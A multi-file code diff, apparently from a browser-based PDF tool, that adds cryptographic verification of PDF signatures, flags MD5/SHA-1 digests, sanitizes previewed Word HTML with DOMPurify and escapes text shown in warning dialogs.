@@ -340,9 +369,22 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
let statusText = 'Valid Signature'; let statusText = 'Valid Signature';
if (!result.isValid) { if (!result.isValid) {
if (result.cryptoVerificationStatus === 'unsupported') {
statusColor = 'text-yellow-400';
statusIcon = 'alert-triangle';
statusText = 'Unverified — Unsupported Signature Algorithm';
} else {
statusColor = 'text-red-400'; statusColor = 'text-red-400';
statusIcon = 'x-circle'; statusIcon = 'x-circle';
statusText = 'Invalid Signature'; statusText =
result.cryptoVerified === false
? 'Invalid — Cryptographic Verification Failed'
: 'Invalid Signature';
}
} else if (result.usesInsecureDigest) {
statusColor = 'text-red-400';
statusIcon = 'x-circle';
statusText = 'Insecure Digest (MD5 / SHA-1)';
} else if (result.isExpired) { } else if (result.isExpired) {
statusColor = 'text-yellow-400'; statusColor = 'text-yellow-400';
statusIcon = 'alert-triangle'; statusIcon = 'alert-triangle';
@@ -360,16 +402,18 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
month: 'short', month: 'short',
day: 'numeric', day: 'numeric',
hour: '2-digit', hour: '2-digit',
minute: '2-digit' minute: '2-digit',
}); });
}; };
let trustBadge = ''; let trustBadge = '';
if (state.trustedCert) { if (state.trustedCert) {
if (result.isTrusted) { if (result.isTrusted) {
trustBadge = '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>Trusted</span>'; trustBadge =
'<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-check" class="inline w-3 h-3 mr-1"></i>Trusted</span>';
} else { } else {
trustBadge = '<span class="text-xs bg-gray-600 text-gray-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-x" class="inline w-3 h-3 mr-1"></i>Not in trust chain</span>'; trustBadge =
'<span class="text-xs bg-gray-600 text-gray-300 px-2 py-1 rounded ml-2"><i data-lucide="shield-x" class="inline w-3 h-3 mr-1"></i>Not in trust chain</span>';
} }
} }
@@ -383,7 +427,8 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
</div> </div>
</div> </div>
<div class="flex items-center"> <div class="flex items-center">
${result.coverageStatus === 'full' ${
result.coverageStatus === 'full'
? '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded">Full Coverage</span>' ? '<span class="text-xs bg-green-900 text-green-300 px-2 py-1 rounded">Full Coverage</span>'
: result.coverageStatus === 'partial' : result.coverageStatus === 'partial'
? '<span class="text-xs bg-yellow-900 text-yellow-300 px-2 py-1 rounded">Partial Coverage</span>' ? '<span class="text-xs bg-yellow-900 text-yellow-300 px-2 py-1 rounded">Partial Coverage</span>'
@@ -407,12 +452,16 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
</div> </div>
</div> </div>
${result.signatureDate ? ` ${
result.signatureDate
? `
<div> <div>
<p class="text-gray-400">Signed On</p> <p class="text-gray-400">Signed On</p>
<p class="text-white">${formatDate(result.signatureDate)}</p> <p class="text-white">${formatDate(result.signatureDate)}</p>
</div> </div>
` : ''} `
: ''
}
<div class="grid grid-cols-1 md:grid-cols-2 gap-4"> <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
<div> <div>
@@ -425,19 +474,27 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
</div> </div>
</div> </div>
${result.reason ? ` ${
result.reason
? `
<div> <div>
<p class="text-gray-400">Reason</p> <p class="text-gray-400">Reason</p>
<p class="text-white">${escapeHtml(result.reason)}</p> <p class="text-white">${escapeHtml(result.reason)}</p>
</div> </div>
` : ''} `
: ''
}
${result.location ? ` ${
result.location
? `
<div> <div>
<p class="text-gray-400">Location</p> <p class="text-gray-400">Location</p>
<p class="text-white">${escapeHtml(result.location)}</p> <p class="text-white">${escapeHtml(result.location)}</p>
</div> </div>
` : ''} `
: ''
}
<details class="mt-2"> <details class="mt-2">
<summary class="cursor-pointer text-indigo-400 hover:text-indigo-300 text-sm"> <summary class="cursor-pointer text-indigo-400 hover:text-indigo-300 text-sm">
@@ -448,6 +505,7 @@ function createSignatureCard(result: SignatureValidationResult, index: number):
<p><span class="text-gray-400">Digest Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.digest)}</span></p> <p><span class="text-gray-400">Digest Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.digest)}</span></p>
<p><span class="text-gray-400">Signature Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.signature)}</span></p> <p><span class="text-gray-400">Signature Algorithm:</span> <span class="text-gray-300">${escapeHtml(result.algorithms.signature)}</span></p>
${result.errorMessage ? `<p class="text-red-400">Error: ${escapeHtml(result.errorMessage)}</p>` : ''} ${result.errorMessage ? `<p class="text-red-400">Error: ${escapeHtml(result.errorMessage)}</p>` : ''}
${result.unsupportedAlgorithmReason ? `<p class="text-yellow-300">${escapeHtml(result.unsupportedAlgorithmReason)}</p>` : ''}
</div> </div>
</details> </details>
</div> </div>

View File

@@ -1,6 +1,11 @@
import forge from 'node-forge'; import forge from 'node-forge';
import { ExtractedSignature, SignatureValidationResult } from '@/types'; import { ExtractedSignature, SignatureValidationResult } from '@/types';
const INSECURE_DIGEST_OIDS = new Set<string>([
'1.2.840.113549.2.5',
'1.3.14.3.2.26',
]);
export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] { export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
const signatures: ExtractedSignature[] = []; const signatures: ExtractedSignature[] = [];
const pdfString = new TextDecoder('latin1').decode(pdfBytes); const pdfString = new TextDecoder('latin1').decode(pdfBytes);
@@ -70,11 +75,11 @@ export function extractSignatures(pdfBytes: Uint8Array): ExtractedSignature[] {
return signatures; return signatures;
} }
export function validateSignature( export async function validateSignature(
signature: ExtractedSignature, signature: ExtractedSignature,
pdfBytes: Uint8Array, pdfBytes: Uint8Array,
trustedCert?: forge.pki.Certificate trustedCert?: forge.pki.Certificate
): SignatureValidationResult { ): Promise<SignatureValidationResult> {
const result: SignatureValidationResult = { const result: SignatureValidationResult = {
signatureIndex: signature.index, signatureIndex: signature.index,
isValid: false, isValid: false,
@@ -104,7 +109,10 @@ export function validateSignature(
asn1 asn1
) as forge.pkcs7.PkcsSignedData & { ) as forge.pkcs7.PkcsSignedData & {
rawCapture?: { rawCapture?: {
authenticatedAttributes?: Array<{ type: string; value: Date }>; digestAlgorithm?: string;
authenticatedAttributes?: forge.asn1.Asn1[];
signature?: string;
signatureAlgorithm?: forge.asn1.Asn1[];
}; };
}; };
@@ -161,21 +169,47 @@ export function validateSignature(
} }
} }
const signerInfoFields = extractSignerInfoFields(p7);
const digestOid = signerInfoFields?.digestOid;
result.algorithms = { result.algorithms = {
digest: getDigestAlgorithmName(signerCert.siginfo?.algorithmOid || ''), digest:
(digestOid && getDigestAlgorithmName(digestOid)) ||
getDigestAlgorithmName(signerCert.siginfo?.algorithmOid || ''),
signature: getSignatureAlgorithmName(signerCert.signatureOid || ''), signature: getSignatureAlgorithmName(signerCert.signatureOid || ''),
}; };
if (digestOid && INSECURE_DIGEST_OIDS.has(digestOid)) {
result.usesInsecureDigest = true;
}
// Parse signing time if available in signature // Parse signing time if available in signature
if (signature.signingTime) { if (signature.signingTime) {
result.signatureDate = new Date(signature.signingTime); result.signatureDate = new Date(signature.signingTime);
} else { } else {
// Try to extract from authenticated attributes
try { try {
if (p7.rawCapture?.authenticatedAttributes) { const attrs = p7.rawCapture?.authenticatedAttributes;
for (const attr of p7.rawCapture.authenticatedAttributes) { if (attrs) {
if (attr.type === forge.pki.oids.signingTime) { for (const attrNode of attrs) {
result.signatureDate = attr.value; const attrChildren = attrNode.value;
if (!Array.isArray(attrChildren) || attrChildren.length < 2)
continue;
const oidNode = attrChildren[0];
const setNode = attrChildren[1];
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) continue;
const oid = forge.asn1.derToOid(oidNode.value as string);
if (oid === forge.pki.oids.signingTime) {
const setValue = setNode?.value;
if (Array.isArray(setValue) && setValue[0]) {
const timeNode = setValue[0];
const timeStr = timeNode.value as string;
if (typeof timeStr === 'string' && timeStr.length > 0) {
result.signatureDate =
timeNode.type === forge.asn1.Type.UTCTIME
? forge.asn1.utcTimeToDate(timeStr)
: forge.asn1.generalizedTimeToDate(timeStr);
}
}
break; break;
} }
} }
@@ -190,7 +224,6 @@ export function validateSignature(
if (signature.byteRange && signature.byteRange.length === 4) { if (signature.byteRange && signature.byteRange.length === 4) {
const [, len1, start2, len2] = signature.byteRange; const [, len1, start2, len2] = signature.byteRange;
const totalCovered = len1 + len2;
const expectedEnd = start2 + len2; const expectedEnd = start2 + len2;
if (expectedEnd === pdfBytes.length) { if (expectedEnd === pdfBytes.length) {
@@ -200,7 +233,27 @@ export function validateSignature(
} }
} }
result.isValid = true; const verification = await performCryptoVerification(
p7,
pdfBytes,
signature.byteRange,
signerCert,
signerInfoFields
);
result.cryptoVerified = verification.status === 'verified';
result.cryptoVerificationStatus = verification.status;
if (verification.status === 'unsupported') {
result.unsupportedAlgorithmReason = verification.reason;
} else if (verification.status === 'failed') {
result.errorMessage =
verification.reason || 'Cryptographic verification failed';
}
result.isValid =
verification.status === 'verified' &&
result.coverageStatus !== 'unknown' &&
!result.usesInsecureDigest;
} catch (e) { } catch (e) {
result.errorMessage = result.errorMessage =
e instanceof Error ? e.message : 'Failed to parse signature'; e instanceof Error ? e.message : 'Failed to parse signature';
@@ -214,7 +267,9 @@ export async function validatePdfSignatures(
trustedCert?: forge.pki.Certificate trustedCert?: forge.pki.Certificate
): Promise<SignatureValidationResult[]> { ): Promise<SignatureValidationResult[]> {
const signatures = extractSignatures(pdfBytes); const signatures = extractSignatures(pdfBytes);
return signatures.map((sig) => validateSignature(sig, pdfBytes, trustedCert)); return Promise.all(
signatures.map((sig) => validateSignature(sig, pdfBytes, trustedCert))
);
} }
export function countSignatures(pdfBytes: Uint8Array): number { export function countSignatures(pdfBytes: Uint8Array): number {
@@ -262,3 +317,490 @@ function getSignatureAlgorithmName(oid: string): string {
}; };
return signatureAlgorithms[oid] || oid || 'Unknown'; return signatureAlgorithms[oid] || oid || 'Unknown';
} }
interface SignerInfoFields {
digestOid: string;
authAttrs: forge.asn1.Asn1[] | null;
signatureBytes: string;
}
function extractSignerInfoFields(
p7: forge.pkcs7.PkcsSignedData & {
rawCapture?: {
digestAlgorithm?: string;
authenticatedAttributes?: forge.asn1.Asn1[];
signature?: string;
};
}
): SignerInfoFields | null {
const rc = p7.rawCapture;
if (!rc) return null;
const digestAlgorithmBytes = rc.digestAlgorithm;
const signatureBytes = rc.signature;
if (typeof digestAlgorithmBytes !== 'string' || !signatureBytes) return null;
return {
digestOid: forge.asn1.derToOid(digestAlgorithmBytes),
authAttrs: Array.isArray(rc.authenticatedAttributes)
? rc.authenticatedAttributes
: null,
signatureBytes,
};
}
function createMd(digestOid: string): forge.md.MessageDigest | null {
switch (digestOid) {
case forge.pki.oids.sha256:
return forge.md.sha256.create();
case forge.pki.oids.sha384:
return forge.md.sha384.create();
case forge.pki.oids.sha512:
return forge.md.sha512.create();
case forge.pki.oids.sha1:
return forge.md.sha1.create();
case forge.pki.oids.md5:
return forge.md.md5.create();
default:
return null;
}
}
function uint8ToLatin1(bytes: Uint8Array): string {
let out = '';
for (let i = 0; i < bytes.length; i++) {
out += String.fromCharCode(bytes[i]);
}
return out;
}
type CryptoVerificationResult =
| { status: 'verified' }
| { status: 'failed'; reason: string }
| { status: 'unsupported'; reason: string };
interface SigScheme {
kind: 'rsa-pkcs1' | 'rsa-pss' | 'ecdsa' | 'rsa-raw';
hashName: 'SHA-1' | 'SHA-256' | 'SHA-384' | 'SHA-512';
pssSaltLength?: number;
}
function latin1ToUint8(str: string): Uint8Array {
const out = new Uint8Array(str.length);
for (let i = 0; i < str.length; i++) out[i] = str.charCodeAt(i);
return out;
}
function hashNameFromOid(oid: string): SigScheme['hashName'] | null {
switch (oid) {
case '1.3.14.3.2.26':
return 'SHA-1';
case '2.16.840.1.101.3.4.2.1':
return 'SHA-256';
case '2.16.840.1.101.3.4.2.2':
return 'SHA-384';
case '2.16.840.1.101.3.4.2.3':
return 'SHA-512';
default:
return null;
}
}
function detectSigScheme(
signatureAlgorithmArr: forge.asn1.Asn1[] | undefined,
digestOid: string
): SigScheme | { unsupported: string } {
if (!signatureAlgorithmArr || signatureAlgorithmArr.length === 0) {
return { unsupported: 'Missing signatureAlgorithm' };
}
const oidNode = signatureAlgorithmArr[0];
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) {
return { unsupported: 'Malformed signatureAlgorithm' };
}
const oid = forge.asn1.derToOid(oidNode.value as string);
const implicitHash = hashNameFromOid(digestOid);
switch (oid) {
case '1.2.840.113549.1.1.1':
return implicitHash
? { kind: 'rsa-pkcs1', hashName: implicitHash }
: { unsupported: `Unsupported digest OID ${digestOid}` };
case '1.2.840.113549.1.1.5':
return { kind: 'rsa-pkcs1', hashName: 'SHA-1' };
case '1.2.840.113549.1.1.11':
return { kind: 'rsa-pkcs1', hashName: 'SHA-256' };
case '1.2.840.113549.1.1.12':
return { kind: 'rsa-pkcs1', hashName: 'SHA-384' };
case '1.2.840.113549.1.1.13':
return { kind: 'rsa-pkcs1', hashName: 'SHA-512' };
case '1.2.840.113549.1.1.10': {
const params = parsePssParams(signatureAlgorithmArr[1]);
return {
kind: 'rsa-pss',
hashName: params.hashName,
pssSaltLength: params.saltLength,
};
}
case '1.2.840.10045.4.1':
return { kind: 'ecdsa', hashName: 'SHA-1' };
case '1.2.840.10045.4.3.2':
return { kind: 'ecdsa', hashName: 'SHA-256' };
case '1.2.840.10045.4.3.3':
return { kind: 'ecdsa', hashName: 'SHA-384' };
case '1.2.840.10045.4.3.4':
return { kind: 'ecdsa', hashName: 'SHA-512' };
case '1.2.840.10045.2.1':
return implicitHash
? { kind: 'ecdsa', hashName: implicitHash }
: { unsupported: `Unsupported digest OID ${digestOid}` };
default:
return { unsupported: `Unsupported signature algorithm OID ${oid}` };
}
}
function parsePssParams(paramsNode: forge.asn1.Asn1 | undefined): {
hashName: SigScheme['hashName'];
saltLength: number;
} {
const fallback = { hashName: 'SHA-1' as const, saltLength: 20 };
if (!paramsNode || !Array.isArray(paramsNode.value)) return fallback;
let hashName: SigScheme['hashName'] = 'SHA-1';
let saltLength = 20;
for (const item of paramsNode.value) {
if (item.tagClass !== forge.asn1.Class.CONTEXT_SPECIFIC) continue;
if (item.type === 0 && Array.isArray(item.value) && item.value[0]) {
const algoIdSeq = item.value[0];
if (Array.isArray(algoIdSeq.value) && algoIdSeq.value[0]) {
const hashOid = forge.asn1.derToOid(algoIdSeq.value[0].value as string);
const resolved = hashNameFromOid(hashOid);
if (resolved) hashName = resolved;
}
} else if (item.type === 2 && typeof item.value === 'string') {
let n = 0;
for (let i = 0; i < item.value.length; i++) {
n = (n << 8) | item.value.charCodeAt(i);
}
if (n > 0 && n < 1024) saltLength = n;
}
}
return { hashName, saltLength };
}
function extractSpkiDer(
p7: forge.pkcs7.PkcsSignedData & {
rawCapture?: { certificates?: forge.asn1.Asn1 };
}
): Uint8Array | null {
try {
const certsNode = p7.rawCapture?.certificates;
if (!certsNode || !Array.isArray(certsNode.value) || !certsNode.value[0]) {
return null;
}
const certAsn1 = certsNode.value[0];
if (!Array.isArray(certAsn1.value) || !certAsn1.value[0]) return null;
const tbs = certAsn1.value[0];
if (!Array.isArray(tbs.value)) return null;
let startIdx = 0;
if (
tbs.value[0] &&
tbs.value[0].tagClass === forge.asn1.Class.CONTEXT_SPECIFIC
) {
startIdx = 1;
}
const spkiAsn1 = tbs.value[startIdx + 5];
if (!spkiAsn1) return null;
return latin1ToUint8(forge.asn1.toDer(spkiAsn1).getBytes());
} catch {
return null;
}
}
function curveFromSpki(
spkiDer: Uint8Array
): { name: 'P-256' | 'P-384' | 'P-521'; coordBytes: number } | null {
try {
const spki = forge.asn1.fromDer(uint8ToLatin1(spkiDer));
if (!Array.isArray(spki.value) || !spki.value[0]) return null;
const algoId = spki.value[0];
if (!Array.isArray(algoId.value) || !algoId.value[1]) return null;
const params = algoId.value[1];
if (params.type !== forge.asn1.Type.OID) return null;
const oid = forge.asn1.derToOid(params.value as string);
if (oid === '1.2.840.10045.3.1.7') return { name: 'P-256', coordBytes: 32 };
if (oid === '1.3.132.0.34') return { name: 'P-384', coordBytes: 48 };
if (oid === '1.3.132.0.35') return { name: 'P-521', coordBytes: 66 };
return null;
} catch {
return null;
}
}
function ecdsaDerToP1363(
derSig: Uint8Array,
coordBytes: number
): Uint8Array | null {
try {
const parsed = forge.asn1.fromDer(uint8ToLatin1(derSig));
if (!Array.isArray(parsed.value) || parsed.value.length !== 2) return null;
const r = latin1ToUint8(parsed.value[0].value as string);
const s = latin1ToUint8(parsed.value[1].value as string);
const rStripped = r[0] === 0 && r.length > 1 ? r.slice(1) : r;
const sStripped = s[0] === 0 && s.length > 1 ? s.slice(1) : s;
if (rStripped.length > coordBytes || sStripped.length > coordBytes) {
return null;
}
const out = new Uint8Array(coordBytes * 2);
out.set(rStripped, coordBytes - rStripped.length);
out.set(sStripped, coordBytes * 2 - sStripped.length);
return out;
} catch {
return null;
}
}
async function verifyViaWebCrypto(
scheme: SigScheme,
spkiDer: Uint8Array,
signedBytes: Uint8Array,
signatureBytes: Uint8Array
): Promise<CryptoVerificationResult> {
const subtle =
typeof globalThis.crypto !== 'undefined' && globalThis.crypto.subtle
? globalThis.crypto.subtle
: null;
if (!subtle) {
return {
status: 'unsupported',
reason: 'Web Crypto API not available in this context',
};
}
const spki = new Uint8Array(spkiDer);
const signed = new Uint8Array(signedBytes);
const sig = new Uint8Array(signatureBytes);
try {
if (scheme.kind === 'rsa-pss') {
const key = await subtle.importKey(
'spki',
spki,
{ name: 'RSA-PSS', hash: scheme.hashName },
false,
['verify']
);
const ok = await subtle.verify(
{ name: 'RSA-PSS', saltLength: scheme.pssSaltLength ?? 32 },
key,
sig,
signed
);
return ok
? { status: 'verified' }
: {
status: 'failed',
reason:
'RSA-PSS signature does not verify against signer public key',
};
}
if (scheme.kind === 'ecdsa') {
const curve = curveFromSpki(spki);
if (!curve) {
return {
status: 'unsupported',
reason: 'Unsupported ECDSA curve in signer certificate',
};
}
const p1363 = ecdsaDerToP1363(sig, curve.coordBytes);
if (!p1363) {
return {
status: 'failed',
reason: 'Malformed ECDSA signature (could not parse r,s)',
};
}
const key = await subtle.importKey(
'spki',
spki,
{ name: 'ECDSA', namedCurve: curve.name },
false,
['verify']
);
const ok = await subtle.verify(
{ name: 'ECDSA', hash: scheme.hashName },
key,
new Uint8Array(p1363),
signed
);
return ok
? { status: 'verified' }
: {
status: 'failed',
reason: 'ECDSA signature does not verify against signer public key',
};
}
if (scheme.kind === 'rsa-pkcs1') {
const key = await subtle.importKey(
'spki',
spki,
{ name: 'RSASSA-PKCS1-v1_5', hash: scheme.hashName },
false,
['verify']
);
const ok = await subtle.verify('RSASSA-PKCS1-v1_5', key, sig, signed);
return ok
? { status: 'verified' }
: {
status: 'failed',
reason:
'RSA-PKCS1 signature does not verify against signer public key',
};
}
return {
status: 'unsupported',
reason: `Signature scheme ${scheme.kind} not implemented`,
};
} catch (e) {
return {
status: 'unsupported',
reason:
'Web Crypto import/verify failed: ' +
(e instanceof Error ? e.message : String(e)),
};
}
}
async function performCryptoVerification(
p7: forge.pkcs7.PkcsSignedData & {
rawCapture?: {
signatureAlgorithm?: forge.asn1.Asn1[];
certificates?: forge.asn1.Asn1;
};
},
pdfBytes: Uint8Array,
byteRange: number[],
signerCert: forge.pki.Certificate,
fields: SignerInfoFields | null
): Promise<CryptoVerificationResult> {
if (!fields) {
return { status: 'failed', reason: 'Could not parse signer info' };
}
if (byteRange.length !== 4) {
return { status: 'failed', reason: 'Malformed ByteRange' };
}
const md = createMd(fields.digestOid);
if (!md) {
return {
status: 'unsupported',
reason: `Unsupported digest OID ${fields.digestOid}`,
};
}
const [start1, len1, start2, len2] = byteRange;
if (
start1 < 0 ||
len1 < 0 ||
start2 < 0 ||
len2 < 0 ||
start1 + len1 > pdfBytes.length ||
start2 + len2 > pdfBytes.length
) {
return { status: 'failed', reason: 'ByteRange out of bounds' };
}
const signedContent = new Uint8Array(len1 + len2);
signedContent.set(pdfBytes.subarray(start1, start1 + len1), 0);
signedContent.set(pdfBytes.subarray(start2, start2 + len2), len1);
md.update(uint8ToLatin1(signedContent));
const contentHashBytes = md.digest().bytes();
const authAttrs = fields.authAttrs;
const signatureBytes = fields.signatureBytes;
if (!signatureBytes) {
return { status: 'failed', reason: 'Empty signature bytes' };
}
const scheme = detectSigScheme(
p7.rawCapture?.signatureAlgorithm,
fields.digestOid
);
if ('unsupported' in scheme) {
return { status: 'unsupported', reason: scheme.unsupported };
}
let messageDigestAttrValue: string | null = null;
let signedBytesForVerify: Uint8Array;
if (authAttrs) {
for (const attr of authAttrs) {
if (!attr.value || !Array.isArray(attr.value) || attr.value.length < 2)
continue;
const oidNode = attr.value[0];
const setNode = attr.value[1];
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) continue;
const oid = forge.asn1.derToOid(oidNode.value as string);
if (oid === forge.pki.oids.messageDigest) {
if (
setNode?.value &&
Array.isArray(setNode.value) &&
setNode.value[0]
) {
messageDigestAttrValue = setNode.value[0].value as string;
}
break;
}
}
if (messageDigestAttrValue === null) {
return {
status: 'failed',
reason: 'messageDigest attribute missing from authenticated attributes',
};
}
if (messageDigestAttrValue !== contentHashBytes) {
return {
status: 'failed',
reason:
'Content hash does not match messageDigest attribute — PDF was modified after signing',
};
}
const asSet = forge.asn1.create(
forge.asn1.Class.UNIVERSAL,
forge.asn1.Type.SET,
true,
authAttrs
);
signedBytesForVerify = latin1ToUint8(forge.asn1.toDer(asSet).getBytes());
} else {
signedBytesForVerify = signedContent;
}
if (scheme.kind === 'rsa-pkcs1') {
try {
const publicKey = signerCert.publicKey as forge.pki.rsa.PublicKey;
const md2 = createMd(fields.digestOid)!;
md2.update(uint8ToLatin1(signedBytesForVerify));
const ok = publicKey.verify(md2.digest().bytes(), signatureBytes);
if (ok) return { status: 'verified' };
} catch {
// fall through to Web Crypto
}
}
const spkiDer = extractSpkiDer(p7);
if (!spkiDer) {
return {
status: 'unsupported',
reason: 'Could not extract signer public key',
};
}
return verifyViaWebCrypto(
scheme,
spkiDer,
signedBytesForVerify,
latin1ToUint8(signatureBytes)
);
}

View File

@@ -1,4 +1,5 @@
// NOTE: This is a work in progress and does not work correctly as of yet // NOTE: This is a work in progress and does not work correctly as of yet
import DOMPurify from 'dompurify';
import { showLoader, hideLoader, showAlert } from '../ui.js'; import { showLoader, hideLoader, showAlert } from '../ui.js';
import { readFileAsArrayBuffer } from '../utils/helpers.js'; import { readFileAsArrayBuffer } from '../utils/helpers.js';
import { state } from '../state.js'; import { state } from '../state.js';
@@ -41,17 +42,20 @@ export async function wordToPdf() {
const downloadBtn = document.getElementById('preview-download-btn'); const downloadBtn = document.getElementById('preview-download-btn');
const closeBtn = document.getElementById('preview-close-btn'); const closeBtn = document.getElementById('preview-close-btn');
const styledHtml = ` const STYLE_ID = 'word-to-pdf-preview-style';
<style> if (!document.getElementById(STYLE_ID)) {
const styleEl = document.createElement('style');
styleEl.id = STYLE_ID;
styleEl.textContent = `
#preview-content { font-family: 'Times New Roman', Times, serif; font-size: 12pt; line-height: 1.5; color: black; } #preview-content { font-family: 'Times New Roman', Times, serif; font-size: 12pt; line-height: 1.5; color: black; }
#preview-content table { border-collapse: collapse; width: 100%; } #preview-content table { border-collapse: collapse; width: 100%; }
#preview-content td, #preview-content th { border: 1px solid #dddddd; text-align: left; padding: 8px; } #preview-content td, #preview-content th { border: 1px solid #dddddd; text-align: left; padding: 8px; }
#preview-content img { max-width: 100%; height: auto; } #preview-content img { max-width: 100%; height: auto; }
#preview-content a { color: #0000ee; text-decoration: underline; } #preview-content a { color: #0000ee; text-decoration: underline; }
</style>
${html}
`; `;
previewContent.innerHTML = styledHtml; document.head.appendChild(styleEl);
}
previewContent.innerHTML = DOMPurify.sanitize(html);
const marginDiv = document.createElement('div'); const marginDiv = document.createElement('div');
marginDiv.style.height = '100px'; marginDiv.style.height = '100px';

View File

@@ -5,7 +5,11 @@ import { createIcons, icons } from 'lucide';
import '@phosphor-icons/web/regular'; import '@phosphor-icons/web/regular';
import * as pdfjsLib from 'pdfjs-dist'; import * as pdfjsLib from 'pdfjs-dist';
import '../css/styles.css'; import '../css/styles.css';
import { formatShortcutDisplay, formatStars } from './utils/helpers.js'; import {
escapeHtml,
formatShortcutDisplay,
formatStars,
} from './utils/helpers.js';
import { import {
initI18n, initI18n,
applyTranslations, applyTranslations,
@@ -1051,8 +1055,8 @@ const init = async () => {
await showWarningModal( await showWarningModal(
t('settings.warnings.alreadyInUse'), t('settings.warnings.alreadyInUse'),
`<strong>${displayCombo}</strong> ${t('settings.warnings.assignedTo')}<br><br>` + `<strong>${escapeHtml(displayCombo)}</strong> ${t('settings.warnings.assignedTo')}<br><br>` +
`<em>"${translatedToolName}"</em><br><br>` + `<em>"${escapeHtml(translatedToolName)}"</em><br><br>` +
t('settings.warnings.chooseDifferent'), t('settings.warnings.chooseDifferent'),
false false
); );
@@ -1071,8 +1075,8 @@ const init = async () => {
const displayCombo = formatShortcutDisplay(combo, isMac); const displayCombo = formatShortcutDisplay(combo, isMac);
const shouldProceed = await showWarningModal( const shouldProceed = await showWarningModal(
t('settings.warnings.reserved'), t('settings.warnings.reserved'),
`<strong>${displayCombo}</strong> ${t('settings.warnings.commonlyUsed')}<br><br>` + `<strong>${escapeHtml(displayCombo)}</strong> ${t('settings.warnings.commonlyUsed')}<br><br>` +
`"<em>${reservedWarning}</em>"<br><br>` + `"<em>${escapeHtml(reservedWarning)}</em>"<br><br>` +
`${t('settings.warnings.unreliable')}<br><br>` + `${t('settings.warnings.unreliable')}<br><br>` +
t('settings.warnings.useAnyway') t('settings.warnings.useAnyway')
); );

View File

@@ -7,10 +7,42 @@
*/ */
// Skip service worker registration in development mode // Skip service worker registration in development mode
const isDevelopment = window.location.hostname === 'localhost' || const isDevelopment =
window.location.hostname === 'localhost' ||
window.location.hostname === '127.0.0.1' || window.location.hostname === '127.0.0.1' ||
window.location.port !== ''; window.location.port !== '';
function collectTrustedWasmHosts(): string[] {
const hosts = new Set<string>();
const candidates = [
import.meta.env.VITE_WASM_PYMUPDF_URL,
import.meta.env.VITE_WASM_GS_URL,
import.meta.env.VITE_WASM_CPDF_URL,
import.meta.env.VITE_TESSERACT_WORKER_URL,
import.meta.env.VITE_TESSERACT_CORE_URL,
import.meta.env.VITE_TESSERACT_LANG_URL,
import.meta.env.VITE_OCR_FONT_BASE_URL,
];
for (const raw of candidates) {
if (!raw) continue;
try {
hosts.add(new URL(raw).origin);
} catch {
console.warn(
`[SW] Ignoring malformed VITE_* URL for SW trusted-hosts: ${raw}`
);
}
}
return Array.from(hosts);
}
function sendTrustedHostsToSw(target: ServiceWorker | null | undefined) {
if (!target) return;
const hosts = collectTrustedWasmHosts();
if (hosts.length === 0) return;
target.postMessage({ type: 'SET_TRUSTED_CDN_HOSTS', hosts });
}
if (isDevelopment) { if (isDevelopment) {
console.log('[Dev Mode] Service Worker registration skipped in development'); console.log('[Dev Mode] Service Worker registration skipped in development');
console.log('Service Worker will be active in production builds'); console.log('Service Worker will be active in production builds');
@@ -21,20 +53,40 @@ if (isDevelopment) {
navigator.serviceWorker navigator.serviceWorker
.register(swPath) .register(swPath)
.then((registration) => { .then((registration) => {
console.log('[SW] Service Worker registered successfully:', registration.scope); console.log(
'[SW] Service Worker registered successfully:',
registration.scope
);
setInterval(() => { sendTrustedHostsToSw(
registration.active || registration.waiting || registration.installing
);
setInterval(
() => {
registration.update(); registration.update();
}, 24 * 60 * 60 * 1000); },
24 * 60 * 60 * 1000
);
registration.addEventListener('updatefound', () => { registration.addEventListener('updatefound', () => {
const newWorker = registration.installing; const newWorker = registration.installing;
if (newWorker) { if (newWorker) {
newWorker.addEventListener('statechange', () => { newWorker.addEventListener('statechange', () => {
if (newWorker.state === 'installed' && navigator.serviceWorker.controller) { if (newWorker.state === 'activated') {
sendTrustedHostsToSw(newWorker);
}
if (
newWorker.state === 'installed' &&
navigator.serviceWorker.controller
) {
console.log('[SW] New version available! Reload to update.'); console.log('[SW] New version available! Reload to update.');
if (confirm('A new version of BentoPDF is available. Reload to update?')) { if (
confirm(
'A new version of BentoPDF is available. Reload to update?'
)
) {
newWorker.postMessage({ type: 'SKIP_WAITING' }); newWorker.postMessage({ type: 'SKIP_WAITING' });
window.location.reload(); window.location.reload();
} }
@@ -47,6 +99,10 @@ if (isDevelopment) {
console.error('[SW] Service Worker registration failed:', error); console.error('[SW] Service Worker registration failed:', error);
}); });
navigator.serviceWorker.ready.then((registration) => {
sendTrustedHostsToSw(registration.active);
});
navigator.serviceWorker.addEventListener('controllerchange', () => { navigator.serviceWorker.addEventListener('controllerchange', () => {
console.log('[SW] New service worker activated, reloading...'); console.log('[SW] New service worker activated, reloading...');
window.location.reload(); window.location.reload();

View File

@@ -25,6 +25,10 @@ export interface SignatureValidationResult {
byteRange?: number[]; byteRange?: number[];
coverageStatus: 'full' | 'partial' | 'unknown'; coverageStatus: 'full' | 'partial' | 'unknown';
errorMessage?: string; errorMessage?: string;
cryptoVerified?: boolean;
cryptoVerificationStatus?: 'verified' | 'failed' | 'unsupported';
unsupportedAlgorithmReason?: string;
usesInsecureDigest?: boolean;
} }
export interface ExtractedSignature { export interface ExtractedSignature {

View File

@@ -4,6 +4,7 @@ import { showLoader, hideLoader, showAlert } from '../ui.js';
import { createIcons } from 'lucide'; import { createIcons } from 'lucide';
import { state, resetState } from '../state.js'; import { state, resetState } from '../state.js';
